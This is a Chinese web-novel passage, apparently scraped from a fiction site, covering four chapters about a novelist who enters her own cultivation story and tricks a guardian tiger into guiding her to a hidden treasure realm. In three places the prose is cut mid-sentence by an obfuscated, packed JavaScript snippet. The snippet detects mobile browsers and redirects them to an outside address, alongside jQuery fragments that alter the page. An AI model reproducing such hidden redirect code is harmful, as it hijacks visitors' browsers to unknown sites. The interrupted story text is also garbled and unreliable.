《狗血文,但无CP》 1. 第一章 “这位大伯,请问‘华邑庄’距离这儿还有多远?” 田埂边上被叫住的老伯略微茫然地往左右望了两眼,直到那道声音再次在耳边传来后,他才颇为震惊地转过身来。 站在他身后的,是一个身着黑色长袍带着兜帽的人。硕大的兜帽几乎罩住了来人大半张脸,看不清样貌,只能从声音判断出对方似乎是个年轻人。 “华邑庄?”老伯沉思片刻后,道,“再往东去四里路,转羊肠小路绕过华邑山,估摸着两三里就到了。” 身着黑袍神秘人“嗯”了一声后,忽然又问:“华邑山?” “对,那座山很高,而且古怪得很。”提到这儿,老伯想起这人大概率是要过山的,苦口婆心地劝了一句,“你不是本地人吧?没来过这儿不了解也正常,都说这山上有大虫出没,傍晚时分路过山边,会有伥鬼诱人上山给大虫吃掉当替死鬼……年轻人,要是不着急的话还是暂缓一天吧。” 再过一段时间,西边的太阳就要落下了,昏沉的橙红晚霞已经铺满天际,田垄远处的人家烟囱都已飘出了香雾,如果不是回家路上有人问路,老伯大概也快走到家了。 “多谢老伯。” 回应他话的也只是年轻人拉低的帽檐,以及带着些许笑意的答谢。 “只是友人相邀,不好失约。”年轻人说,“夜色将至,老伯回家路上当心些。至于华邑山上的伥鬼大虫……” 老伯似乎听见了一声轻笑。 “不足为惧。” 几句话过后,老伯就这样看着那身着古怪看不清面容的年轻人转身离开,去往的方向正是华邑山所在。 而此刻,头顶上的太阳也彻底西落,只余汤肴般的橙霞坠在山脚。随着霞光散落,年轻人的身影也彻底消失在山林之中。 真是个奇怪的年轻人啊…… 老伯暗叹一声,只把对方当作初生牛犊不怕虎的鲁莽人,摇了摇头后转身离开了。 而这个所谓的“鲁莽年轻人”,实际上对华邑山的传闻了解得比其他人多得多。 屈娆抹了把额头上的热汗,呼出一口浊气。她抬起头看向不远处的高山,这几天来一直紧皱的眉毛终于有了片刻舒展。 “终于快到了……” 这是屈娆来到自己笔下世界的第五天。这一路上不管是乞讨还是捡垃圾,屈娆终于在最短的时间内赶到了华邑山附近。 没错,她要去的地方不是“华邑庄”,而是那个有着诡谲鬼怪传说的“华邑山”。 一路上之所以询问的地方是华邑庄而不是华邑山,主要是不想引起他人注意。 毕竟,这座山在小说后期可是被诸多势力瞄准的宝藏圣地。怕就只怕后期圣地宝藏现世后,来过这座山的所有人都会被惦记上。屈娆可不想自己好不容易苟过一年又一年后,被不知道从哪儿来的修士干掉。 从怀里摸出一块硬得像是石头的馍咬了几口后,屈娆再次踏上前往华邑山的羊肠小路。 这地方不仅偏而且还穷,属于是转职当强盗都能给自己饿到再度转行的地方。路也的确如那位老伯所言是羊肠小道,不仅如此,越深入山脚,周边的杂草灌木就越多。因为来往的行人少,所以这边的绿植该死的茂密,到后面,屈娆不得不伸出手扒拉挡路的比人还高的杂草。 唉……要不是这地方藏着连普通人都可以自由购的秘境,一看性价比就超高,屈娆是绝对不可能千里迢迢往这边赶。 毕竟在五天之前,她还只是个在现代咸鱼躺平的全职小说作者。月入20万的那种。 一场意外之后,她莫名其妙地穿进了自己写的小说里面,还是那部爆火但也被骂得最惨的狗血虐文里。 好消息是,屈娆并不是魂穿,她的身份也不是自己写过角色中的任何一位,不用担心自己被牵扯进那扯不断理还乱的狗血关系线中。 但坏消息是,有人告诉她,身为作者的屈娆本人,将会和自己最惨的狗血虐文女主——烬粟感同身受。 屈娆:…… 你是说,她要和那个被挖肾挖眼挖心挖金丹,整部小说神魂差点被灭三次的狗血虐文女主感同身受吗??? 认真的吗?她可只是个普通人啊!女主的经历放在她这个普通人身上不死也得疯啊!! 一想到前中后期烬粟遭遇的种种困境,作者本人就忍不住打了个寒战。 当初在现代写小说的时候,谁也不知道有一天会穿到自己写的小说里面啊……年少轻的狂,现在回旋镖全部打在了自己的脑门上,关键是还不能多说什么,毕竟好歹靠这本书在现代躺平安心舒适地过了很久呢。 她叹了口气,站在原地认命地大口深呼吸。 哼~哈~哼~哈~ 多吸点新鲜空气吧,毕竟谁也不知道这第二次生命啥时候会被再度回收被利用。 不知道是不是夜晚植物开始排放二氧化碳,深呼吸几次后,屈娆竟然觉得脑袋有一点昏沉。 不过也只是有一点。 她定了定神,放缓了呼吸,继续向前走去。 作为这本爆火小说的作者,屈娆当然对这本书的一切都十分熟悉。不仅包括小说的全文,甚至包括其中深埋但没有写明的隐藏设定。 而“华邑山鬼怪传说”的秘密,她当然也一清二楚。 之前那个老伯说的“深夜伥鬼诱人,引恶虎食人替死”这件事……是真的。但这并不是这座山全部的真相,这只是遮掩这座山下宝藏秘境的陷阱罢了。 在小说后期,女主神魂半灭功力全失后误入了这座山,跌落山崖后得到了秘境的所有权,滋补自身神魂这才涅槃重生再度回归修仙正路。 只不过现在可不是小说后期。 屈娆在这五天里的大大小小势力外围打听过,现阶段凤麟洲那儿还没被破开个大洞,这说明小说前期女主的大坎还没来。再一打听,修仙界虽然有不少剑修,但被称为当世剑修天才的修士还没有过,这就说明男主云无涯还没一战成名,女主更是还没出生。 没出生好啊,至少现在屈娆不用担心自己下一秒抱着身体的哪一个部位秒出痛苦面具。 不过这个时间也意味着,华邑山的妖虎并没有被路过的修士除掉,现阶段屈娆上山,也有很大可能遭遇诱人替死的伥鬼。 想到这儿,眼前不知何时飘来的雾气也渐浓,直到现在彻底遮住了脚下的羊肠小道,将屈娆整个人都笼罩其中。 她不由得又拢紧了罩在自己身上的黑色长袍,心下的紧张慢慢被缓解,只剩下亲眼见证自己写下故事成真的激动。 这件长袍算是她来到这个世界后的新手福利,也是她小说后期只出现过一次的神级苟王道具。‘臧命袍’,它能够遮掩气息,让人分辨不出袍下之人修为深浅,福利时期只有一年——对于修士百年的青春期而言也不过弹指一挥间,但也的确是屈娆现阶段的保命神器。 雾气弥漫分辨不出周围的环境,虽然现在的屈娆就只是个普通人,但也有种被恶意盯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160770|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的毛骨悚然。 她不动声色地站在原地,并未表现出焦躁。 屈娆知道,那只恶虎就在迷雾的某处,那双黄黑色的兽瞳正盯着自己的猎物步步紧逼。 但她也知道,那只恶虎绝不会像只真正毫无理智的饿虎一样直接扑向她。 “——那位道长!” 果不其然,在等待有半柱香后,一道听上去格外焦急的男声从屈娆的背后传来。 她缓缓转身,面向声源方向。 一个书生打扮的年轻男人正跌跌撞撞地在迷雾中朝她靠近。 见屈娆转身看过来,书生脸上露出一抹惊喜,大呼:“道长救我!” 直到对方表面跌跌撞撞,实则脚下略过异物飞快朝她扑来时,屈娆都仅站在原地没有丝毫动作。 书生:? 它心下一转,卖了个破绽,自己跌倒在了那个看不出修为的神秘修士的脚下。 书生柔弱地“哎哟”了一声,可怜兮兮地抬头想要得到一点怜悯,却只能看见那个兜帽下的一个白皙下巴和像是扎根了站着不动的修士本人。 书生:??? 不是吧?这么狠心??你这个修士的心难不成是石头做的??? 没能得到对方半点反馈,书生甚至暗自深吸了一口气:它身上现在的确没有任何妖物的气味啊,为啥这家伙没有一点反应——难道是邪修? 而在屈娆的视角则是: 这家伙怎么做到能在空无一物地面完成一个高难度平地摔的? “道、道长?” 那只倒在脚边的虎又开始嘤嘤作态地叫唤了。 屈娆回忆了下华邑山的设定之后,深吸一口:好了,表演开始——成败在此一举! “道长……”书生不死心地又叫唤了一声。 要真是邪修,干脆一口咬死算了。真可惜,还以为这次会来一个好玩点的人类呢…… 没想到下一秒,在书生还没站起来之前,一只手就这样向下而来,抓住了它的……后衣领? 嗷! 书生一个激灵,赶紧埋下头掩藏住了自己差点绷不住露出来的黄黑色兽瞳。 “道、道长?”书生虚弱开口,“等等,我可以自己站——” 站什么站! 屈娆暗骂一声,你这家伙自己设计的剧本自己不清楚吗?! 原来在书生出现后没多久,周围的雾气就逐渐飘散,而距离屈娆和书生三米开外的地方,一只巨大的兽首从树林间缓缓出现。吊眼白额,斑斓虎尾,那双属于狩猎者的黄黑色兽瞳正死死盯着两人。 这就是“华邑山伥鬼诱人替死”的真相—— 全都是这只守山虎自己自娱自乐的剧本!!! 这家伙自己扮“伥鬼”自己扮“恶虎”,就是为了恐吓周边夜晚上山的普通人玩! 对邪修恶鬼出手果断,对普通人和修士却抱着乐子心态的守山虎,正是镇守此地秘境的灵兽。 所以只要不对守山虎化身的“书生”出手,甚至是帮助,这只乐子虎就不会对她下杀手。 但屈娆要的可不只是“被放过”,她要的,是这座山深处,那座引无数修士趋之若鹜的藏宝秘境! 所以抱歉了。 屈娆拼了命地拖着这只书生虎往后撤出恶虎的狩猎范围。 跟熟知这本书所有细节设定伏笔的作者来比演技,你还是太弱了! 接下来讹不死你这只虎,她就不叫屈娆! 2. 第二章 嗷嗷嗷嗷!!!它的脸!!! 随着自己被不断拖动,如花似玉的脸蛋被道路的杂草树枝划出了好几道口子,书生的心底也在暗自哀嚎。 “道、道长!”这么多年了它还是第一次被人类这样拖着跑,哪怕有那么一丁点感动于这个修士的善良,但—— “我、我可以自己站起来啊!”它哽咽着开口试图把剧本掰回来一点。 就算是自己设计的剧情,但也不包括这种丧尽颜面的一环啊! “闭嘴。” 没想到那个一直以来都沉默寡言的修士这次竟然真的回了话,书生有些讶异地抬起头,略过一丛短小的杂草后,它眯着眼睛察觉到了这个修士的不对劲。 在最开始迷雾上来的时候,它观察过这个傍晚上山的修士,但以它化神期的修为,竟然也不能窥探这长袍之下修士的实力。不仅如此,甚至除了那只下巴,书生啥也看不透。种种细节都表明这个家伙不是凡人,分明是实力高强的那一类! 好在华邑山本身就属它的领地,有领地加成的守山虎自然也不会畏惧这么一个修士。 这次前来不仅是戏弄,更多的是试探。 这样一个隐藏实力的修士来到华邑山,莫不是知道了些什么…… 守山虎有着这样的猜测。 但现在,它却发现了对方拖动自己时,那只手臂正在颤抖。 一个连它都看不透实力的修士,怎么可能带不动一个普通的人类书生? 排除对方伪装的猜测,那就只有一种可能—— 这是一个负伤的修士! 哪怕实力超然化神,但内里却被伤得一塌糊涂,这才连一个普通人类都没办法带动! 守山虎为自己得出的结论感到讶异,又有那么一丝丝的感动。 都伤成这样了,竟然也没想过抛下书生吗…… 而此刻的屈娆:……你大爷的,你倒是反驳一句啊!! 本来她只想在前期追逐战的时候稍微装一下,你要是现在挣扎说自己可以站起来她肯定就放手了啊!现在乖巧得像玩具一样是在装什么?! 你在装什么啊啊啊啊!!! 不能崩人设的屈娆只好憋着一口气继续拖拽着着一坨快两百斤重的‘普通书生’继续向前跑。 好在紧跟其后的‘恶虎’并未迅速上前而是跟在身后慢慢踱步,虽然在旁人眼中看它这种举动更像是戏弄,但只有屈娆知道这家伙大概率是不知道接下来该怎么做。 这场恶虎追人的戏码已经明确了一点:屈娆是个好人,或者说,屈娆是一个有着善心的人。 就这一点而言,守山虎不会伤她。 这就尴尬了,屈娆是个好人,这个好人还一直拖着书生想要逃走,跟在身后的恶虎不会吃这个好人,但就这样放任屈娆带着书生虎离开也不是个办法。 守山虎是不能离开镇守地的,一但离开华邑山的范围,书生虎就会消失回归本体,那这个好心人如果聪明一点肯定就会知道那个书生就是伥鬼,但如果笨一点呢? 书生虎抬头看了一眼那只颤抖的手臂,还有那逐渐被汗水滑过的下巴,默然无语,虎生头一次这么头疼。 这种笨蛋好心修士,该不会又返回山上找书生吧…… 那到时候谎言被戳破了,好一点的结果就是修士恼羞成怒,坏一点的结果就是和它打起来。 但它咋下手啊,老大很久之前就告诉它镇守在这里决不能伤了好人,特别是一根筋的好人…… 哈哈,虎虎我啊,好像有点完蛋了呢。 这边的守山虎还在纠结,另一边靠着肾上腺素爆发潜力托人的屈娆也在拼命想办法。 她没想到这只虎能这么摆烂,明明设定上这家伙是只非常喜欢看热闹的乐子虎啊!虽然心地善良,但实则素质不详,就算她现在拖着书生往外逃,但恶虎也依旧可以找准机会把书生吃掉,继续将这段戏份演下去,那为什么现在不这么做—— 啊。 屈娆忽然想到了什么。 手脚上的动作同时一顿。 该不会是因为她这身衣服吧? 臧命袍能够遮掩气息,不管是什么阶层修为的修士都无法看清她的实力,该不会就是因为这个,这只老虎才不敢出手吧?? 这么怂的吗?她有设定这么怂的老虎吗???你这家伙可是镇守秘境的灵兽啊!! 有那么一瞬间,屈娆有些恨铁不成钢。 刚当她意识到这件事之后,手上的动作停下,而肾上腺素也不可能一直给她爆发的机会,因此当她反应过来时,书生已从她的手中滑落。 ‘好机会!’ 在场的两人一虎一抖激灵,精神振奋。 “吼——” 早已蓄势待发的恶虎瞬间接近,呼啸响彻山林,张开的血色大口距离倒在地上的书生仅有几步之遥!! 书生泪眼婆娑:终于来了哥们!快点吃掉我! 但同一时间,它敏锐感知到周边有什么东西在动作,侧目一看,之前重伤的那个修士竟然强行站起朝它扑了过来,看样子竟然是要舍身救人!? 书生没憋住,“嗷”了一嗓子,将将身子一扭,竟从血盆虎口中扭身躲过!往屈娆所在的方向同步扑了过去! 咬空了的恶虎:? 书生只来得及将那人扑倒,在意识到自己做了什么后,苦着脸回头看向恶虎。 这不怪它啊,按照刚刚那架势,说不准这家伙就扑过来达成“葬身虎口”这一举动了。 这种一根筋的修士,吓又吓不走,打又不能打,只能找准时机把对方送出去山了。 可意外就是这么容易发生,在书生正打算站起来找借口溜走时,脚下的软泥松动,竟然在它未察觉的时候就裂出了一条大缝! 书生:?完了。 它这才发现,这个重伤的修士先前带它逃跑的方向并不是山腰或山下,而是朝着山顶处狂奔。而在上山路上的某处,此地的秘境阵法被逃窜的两人一虎触动,隐藏在其中的秘境竟然就这样毫无预兆地被打开了…… 骤然开裂的大缝没留给人任何反应的时间,本就栽倒在地的两个人就这样跌落山中深渊,书生只能看见头顶上正往洞里探头探脑的那只虎头离自己越来越远。 书生:…… “抓紧我。”它的耳旁传来了那个修士的声音,年轻,镇定,话语中还暗藏一丝果决。 书生:…… 抓紧你干啥啊!你个重伤的家伙难道还想保护它吗???你是不是有点过于好心了啊!? 眼瞅着这家伙呼吸声越来越弱,但依旧抓紧自己的胳膊,书生犹豫了半秒后终于忍不住叹了口气。 老大说得真没错啊,这种一根筋的好人,最让虎头疼了…… 于是在不知时间的坠落中,一只带着金红色调的虎影从上落下,而屈娆紧抓书生胳膊的左手中,早已空无一物,只剩下飘落在空中的几缕橙色毛发。 一声虎啸再次出现在屈娆耳边,与此同时,她虚眯的视野内也看见一只吊眼白额金虎的虚影直奔她而来。 她终于安心地闭上眼睛,睡了过去。 ** 这一觉睡得可让人精神百倍! 自从来到书中世界后,屈娆可是一天都没好好休息过。毕竟没有谁比她更清楚这个自己笔下产出的世界的危险程度,虽说大部分灾祸都是为了推动男女主剧情而产生的,但背景设定上这个修仙界就不太平。 无时无刻的计算让她颇为疲惫,更重要的是自己还只是个普通人,而普通人在修仙界背景下大部分都是炮灰。但屈娆可不想成为一个炮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160771|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰。 所以在这次算计华邑山守山虎的时候,屈娆打起了一百二十分的精力。 首先,带着书生逃跑不是她一时脑热,而是前往秘境的途中需要守山虎的灵气才能打开秘境。 在小说后期,女主烬粟之所以能够打开秘境,正是因为在华邑庄的摊贩上捡漏买到了守山虎牙齿做成的小吊坠,因此才能在守山虎已死的时间段,打开华邑山上的秘境。 其次,她之所以掉下去的时候还要紧抓书生不放,就是看在对方再怎么乐子,也是一只尽忠职守的守山灵兽。守山虎是不会放任一个善良的好人死在这里。 最后…… 平躺在地上,慢慢睁开双眼的屈娆嘴角缓慢扬起一丝不易察觉的微笑。 之后在消化秘境里面的东西时,她还需要一个化神期的护法呢。 “吼——” 睁开眼后发现一张近在咫尺的老虎脸,还是凭借自己强大的自控力才能勉强崩住脸上的表情,就差那么一点,屈娆就要跳起来狂锤虎头了。 那只吊眼白额虎就在她的上方,湿热的鼻息打在屈娆的脸上,但早已做好准备的她并没有一丝动容。 “没意思。” 见她没有任何反应,守山虎眼睛微眯,慢慢从修士身上退去。 掉落谷底的修士慢慢坐起身,脸上依旧古井无波,守山虎心底不由得好奇。不过当然,面上还是得端住的。 “看你这个样子,大概早就知道了吧?那个书生的身份。”揣手趴下的吊眼白额虎在不远处意味深长地开口,“凡人,你是为何而来?” 而此前躺倒在水塘边上的修士像是有些迷茫,起身后也只是看了一圈周围。 有什么好看的,自从老大走了之后,这边它一个老虎又不会打理,周围都是杂草小兽,而秘境的入口还未被彻底打开,她再怎么看也看不出个花来。 守山虎现在所想什么,屈娆并不在意。 她只是抑制着心中的激动,开始欣赏环顾周围的景色。 【……其谷深百尺,谷底仿若圆盘,水盛其中,一出一进,似天上无尽不老泉眼。苍藤垂蔓,翠影摇风。水雾隐有,近看却无。偶见珍兽潜行,迹没丛中。】 那是很早之前写的文绉绉环境描写了,现在看其实也没什么,但架不住读者们脑补得很好,简短几句就能让人对这片秘境有无限遐想。 而如今,这几句简短描写被她亲眼见证,化作现实出现在屈娆面前,这怎么不让一个小说作者感到激动? 周边的环境的确有些杂乱,但草木茂盛,丛间偶有花粒点缀,蝴蝶翩飞,鸟雀高鸣,躺倒在一旁的吊眼白额虎看上去都像是这副山水画中的又一处鲜活。 只可惜,现在还没到秘境出现的时候。 屈娆心下遗憾,但很快又振奋了起来。 而且很重要的一点就是,哪怕没有进入秘境,但秘境周围的这个环境也很适合普通人摸索着引起入体迈上修仙路!这也是后期几乎是半个残废的女主能够重回修仙正路的主要原因! 对现在是普通人的屈娆来说简直是百分百契合! “凡人!” 等了半天也没能得到回应的守山虎终于忍耐不住了,老虎的尾巴烦躁地一甩一甩,“你到底因何而来!” 而不远处正站在水池边的修士像是终于反应过来一样,慢慢转身面向它。 “某……只是与友相邀,赴约而至。” 摘下了兜帽的修士翩然独立,眼中古井无波,像是这世间没有什么能够打动她一样。 只是在提到“赴约而来”时,修士的眼中有了一丝光亮。 “敢问山神,”她轻声道,“可闻‘邑不渡’此名?” 守山虎一个激灵。 邑不渡……那不是老大的名字吗?? 3. 第三章 屈娆当然知道邑不渡是谁了。 屈娆也知道邑不渡现在在哪里。 你深呼吸一下,说不定这家伙就过了下肺呢。 屈娆:…… 好吧这个笑话是挺地狱的。 但事实就是这样,邑不渡,也就是这座秘境的主人,早就已经死了。 起码死了有五百年吧。 毕竟谪仙洲出现了五百年,而凭空造洲的邑不渡则是死在了那场天灾中,现阶段已经化成灰灰粘都粘不回去了。 所以说深呼吸过一场渡劫修士空气粉尘的肺也不是空穴来风。 而在设定上,这只吊眼白额虎一直以为邑不渡没死,因为对方在开始大战之前也的确是和这只老虎说自己只是出门玩一玩,玩够了就回家当躺平狗。 “老大……” 守山虎激动地站起身,三两步跳跃,猛虎动作灵敏且飞快地来到了屈娆的面前。“你是老大的朋友!?” “老大他现在怎么样了?是不是自己一个人在外面吃好吃的?他怎么还不回来?我都守这么长时间了,吃也吃不好睡也睡不好,他是不是忘了家里还有一只虎了???” 屈娆:不,他没忘,他只是死了而已。 但她当然不能这么说。搞不好就会被追问到底,而现在屈娆最重要的是打开秘境尽早提高自己的修为。毕竟不管是只有一年福利期的臧命袍还是大概率没几年就要出生的女主,为了自己的小命以及日后的幸福安稳生活着想,她都得迅速提高自保能力。 高考冲刺班都没她这么着急! “某不太清楚……” 反正邑不渡这个人设定上就是风流浪子,天天往外跑哪有乐子往哪跑,打个哈哈应付一下得了。 但没想到的是,听到她回话后,守山虎有些失落,看了她一眼后像是给自己找到了什么借口一样嘟囔了一句:“算了,反正看你这样子也伤得不轻……老大该不会是背着我去哪儿打群架去了吧……” 屈娆:…… 这老虎直觉还挺灵的。 不过……伤得不轻?谁?她吗? 小说作者若有所思。 难道……因为臧命袍,守山虎看不清她的实力,又在之前的逃命路上发现她的心态和行动不匹配,所以以为她是受了重伤才逃不开的? 屈娆眯起了眼睛。 好脑补,现在是她的人设了。 “某此前受了点伤,”她慢慢开口说道,一面不动神色地观察守山虎的情绪动作,在发现对方果然一脸“俺真聪明这都发现了”的时候,彻底确定了自己接下来的人设。“醒来之后,只记得自己要赴约。赴一个叫‘邑不渡’友人的约定。” 修士有些迷茫地回望着这只吊眼白额虎。 “邑不渡在哪儿?” 证实自己猜想的守山虎放下心来,它又一次踱步去了旁边,慢吞吞靠着水池边卧下。 “你问我我又去问谁?我都在这里待很久很久了,也没见老大回来过。”守山虎歪着头,伸出厚大的爪子开始扒拉水塘中的清水。它想了想,又侧虎头看向一旁神情迷茫的修士。“你的伤很重。” “某知道。” “而且还失去了很多记忆。” “似乎是如此。” “那你,为什么还会记得要赴老大的约?” “因为在我的记忆里,这很重要。” 守山虎“嗷”了一声,沉默了一息后忽而又问:“那你为什么在山上又要救那个书生?那个时候你就已经发现了吗?” “发现什么?”身旁的修士也挨着它盘腿而坐,并未动作,只是盯着守山虎认真而又思索着回应,“恶虎和书生,同为一气?” “你知道。” “某知道,”修士说,“但那又如何?于某而言,身旁之人为友,则必当为友尽力。” 幽静的山谷中传颂着修士的声音,头顶上皎洁的月洒下柔光,落在修士的头顶,仿佛给她披上了一层圣洁的白纱。 守山虎怔愣地看着她。 “……我还在老大身边的时候,从没见过他还有像你这样的朋友。”它说,“看来老大在外面玩得果然很好。” 守山虎说:“算了,老大开心我也开心,老大有朋友也就是我有朋友!” “你叫什么名字?”老虎翻了个身,露出自己白花花的肚皮,它四爪朝天大大伸了个懒腰,“我总不能一直凡人凡人的这么叫你吧?” “与山神相比,某的确乃一届凡人。”修士笑了一下,很是坦然,“名字……我的名字是……” 守山虎察觉到对方有些痛苦的神情,它不由得迅速翻身有些紧张:“喂,你怎么了?!” “我,名字是,”修士神情逐渐平静,再度睁眼时气质与之前改变了些许,“屈娆。” 她在池边蘸水写下了这个名字。 这个名字守山虎没听过。应该是这些年来老大在外面交的新朋友吧。 “你不如在这儿休息一阵吧,”守山虎看她额头上的冷汗,不由得怜悯道,“伤成这样,要不是我知道你是老大的朋友,肯定会以为你是一个普通人!” 屈娆:其实你认为的不错…… 但她只是虚弱一笑,仍旧平静开口:“某确实是凡人。” “开什么玩笑呢!”守山虎翻了个白眼,“也就你现在失忆了。能和老大玩一起的人,怎么可能是个凡人!你答应老大都不会答应的!” 然后这只“老大吹”的吊眼白额虎又开始翻来覆去絮絮叨叨地开口诉说着屈娆早已知道的设定。 说真的,这个世界上还真没有人比屈娆更了解她笔下的角色。 虽说这本书是一本狗血虐文,但每个角色她都有认真花心思设计的好吗?才不全是为了赚钱而狗血的! 现在随着守山虎的声音,屈娆也逐渐补全自己在剧情上有些模糊的细节。 好消息是,屈娆对小说剧情细节的掌控程度加深了。 坏消息是,头顶天快亮了,邑不渡建造的秘境也快出现了,但她还没学会引气入体。 屈娆:…… 这种在修仙小说里常见的东西,放在她这样一个现代人身上完全没有参考去学会啊!! 小说作者在心底泪流满面。 像什么‘直觉四肢中乱窜的气正逐渐汇拢结在小腹处’‘金丹已成,躯体通透’到底是什么感觉啊?难不成是吃了炫迈?? 而一旁侃侃而谈的守山虎也终于意犹未尽地停下,它歪着脑袋好奇地看向自诩‘普通’的修士。 “你这副躯体……”守山虎语气严肃地开口。 屈娆心里一咯噔,大脑飞速运转自己该想些什么借口混过去。 守山虎:“伤得有点太重了吧?完全聚不拢气啊。就算重头开始,连气都无法入体的身体完全无法容纳你强大的神识啊。” 守山虎:“你来这儿之前到底打了什么架啊?伤得如此严重……” 屈娆张了张嘴。 守山虎很自然地率先开口:“懂了,某不知。” “不过这样的话,老大安排在这儿的灵气对你也没啥用啊。你这身体不行。”吊眼白额虎拉伸了一下后,慢慢站起身,然后伸出脑袋很自然地拱了一下一旁端坐的修士。“如此看来,该去老大的小金库里翻翻了……嘶,好久没进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160772|180619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了,怎么打开来着?” “对了,你既然是老大的朋友,应该能打开老大设下的阵法吧!”大老虎眼睛亮晶晶地看向她。“里面或许有你现在需要的东西。” 修士似乎愣了一下:“不问自取似乎不太好。” “这有什么!”守山虎乐呵呵地开口,“只要你能打开,而且你又是老大的朋友,你拿什么都是应该的!老大对他认可的朋友可大方了!” 那是当然了。 毕竟邑不渡那家伙根本就没有朋友。 随时能够出卖的狐朋狗友可算不上什么‘朋友’。 屈娆面上犹豫了片刻后,说:“我试试吧。” 但心里早就冷笑起来了。 别看这只老虎像是真认可她的身份,实际在邑不渡的事情上可精了。邑不渡设下的阵法只有老虎和熟悉他的人才能打开,只要有一点错误,都会被秘境的阵法弄死。 小说后期,女主哪怕拿了吊坠进来,在解决阵法的时候都差点神魂俱灭。后来还是烬粟在濒死之际从传承功法中找到破解方式,不然别说之后的追妻火葬场了,妻有没有还另说呢。 写这一段的时候,屈娆笔下评论区都担心她之前被骂狗血破防直接把女主写死,那段时间评论区全都是夸赞她的彩虹屁。 开什么玩笑,她是那种很小气的人吗? 不过也能理解,毕竟在守山虎的视角,屈娆这个人的确很神秘。甚至往糟糕点的方向想,对方重伤的原因……会不会是和邑不渡打过架导致的? 算了不想这个了,至少守山虎不可能亲自动手。 至于破解秘境阵法的办法…… 再说一遍,这个世界上没有人比她更了解邑不渡:) ** “嗨,小白~” “嗨,小绿~” “嗨~~小红~~~” 摇曳的不灭烛火,将光的影子投射在如枯朽样的石壁上。在这空无一人的密室之中,有一柄飞来飞去的长剑在各处留下自己来过的身影。 在和这座宝库的第9781996个藏品打过招呼,且意料之中的无回应后,长剑心满意足地停下了乱飞的动作。 长剑:“今天是我们一起度过的十八万三千三百六十六天~那么大家今天也要和我一样沉浸式咒骂邑不渡那个死东西哦~” “……” “哈哈你骂得真起劲呢小白~”长剑飘过去,用剑尖给一颗锃亮瓦白的骷髅头上戳了个章,“我果然很喜欢你的骂人劲儿~” “小绿也不要气馁哦~”剑身一扭,长剑冲着一旁黄金王座上的绿色罩衫打了个招呼,“继续加油继续努力,总有一天你也会像我一样开口骂人哒!” “嗯哼~嗯哼~” 在完成今天的沉浸咒骂铸剑师的任务后,长剑哼着谁也听不到的小曲慢悠悠地飘向王座,打算在上面挨着小绿小憩片刻。 突然,它似乎察觉到空气中有暗流涌动,并不存在的耳朵让长剑转身朝向声源地。 “嗯?” 那扇无论如何都没办法打开的密室大门,似乎有了那么一小缝隙的光亮? 是它的错觉吗? 长剑眯起不存在的眼睛,剑身慢慢悠悠地朝着大门的方向移动。 等等,好像不是它的错觉! 哈哈!这道该死的大门终于被打开了!!!它终于可以重见天日,去索那个死东西铸剑师邑不渡的狗命啦!!! 没有丝毫犹豫,在大门被敞开有一定宽度后,长剑“嗖”地一下蹿了出去! 与此同时,正站在门外等待秘境大门缓慢打开的屈娆忽然有种不太好的危机感。 4. 第四章 半个时辰前,秘境之外。 屈娆望着那攀爬着藤蔓的古老秘境,又抬起头看了一眼头顶上微微亮起的天。 她深吸了一口气。 打开秘境的方式其实很简单。 也和邑不渡这个人的身世有关。 在人物设定上,邑不渡是个风流浪子,但这个浪子实力强劲,热衷看乐子和打架,即使是在五百多年前百花齐放的修仙界也赫赫有名,就是这个人性格不太着调。表面上笑眯眯的,实际上说不准什么时候就会在背后戳人一腰子。像这样的浪子,身边多的是狐朋狗友,很少有真正交心的朋友。 但屈娆在设定这个角色的时候,就很狗血地加入了一点: 人是风流浪子,但心可不在流浪。像这样抓不住的风,总有一个令他眷念沉溺的。 【“——可惜落花有意,但流水无情啊。”身着红衣的浪子笑着挑了一缕额前的长发把玩,一直以来显得轻浮的眼睛此刻深邃如夜。坐在树上的浪子仰头望向天空,空无一物的深夜找不到他目光所寄托的地方。“我啊,怕是永远等不到了咯……”】 当时写这段的时候,评论区读者们都在嗷嗷嚎猜想是不是邑不渡有喜欢的人。 但在一百章之后,屈娆邪恶一笑,打破了她们的幻想。 仅仅只是有个眷恋的人算什么狗血! 我们要超脱!要超凡!但——还要符合人设! 所以那个令战斗浪子邑不渡眷恋的人是谁呢? 那当然是……天道了! 没有什么“情深已久”,也没有什么“襄王有梦,神女无心”,邑不渡这个风流浪子满脑子就只有“战斗”“乐子”还有最重要的“破境”,是当之无愧的战斗疯子。 所谓的“落花有意,流水无情”指的也只是他一直卡在渡劫期,无法突破这个境界登入上界。 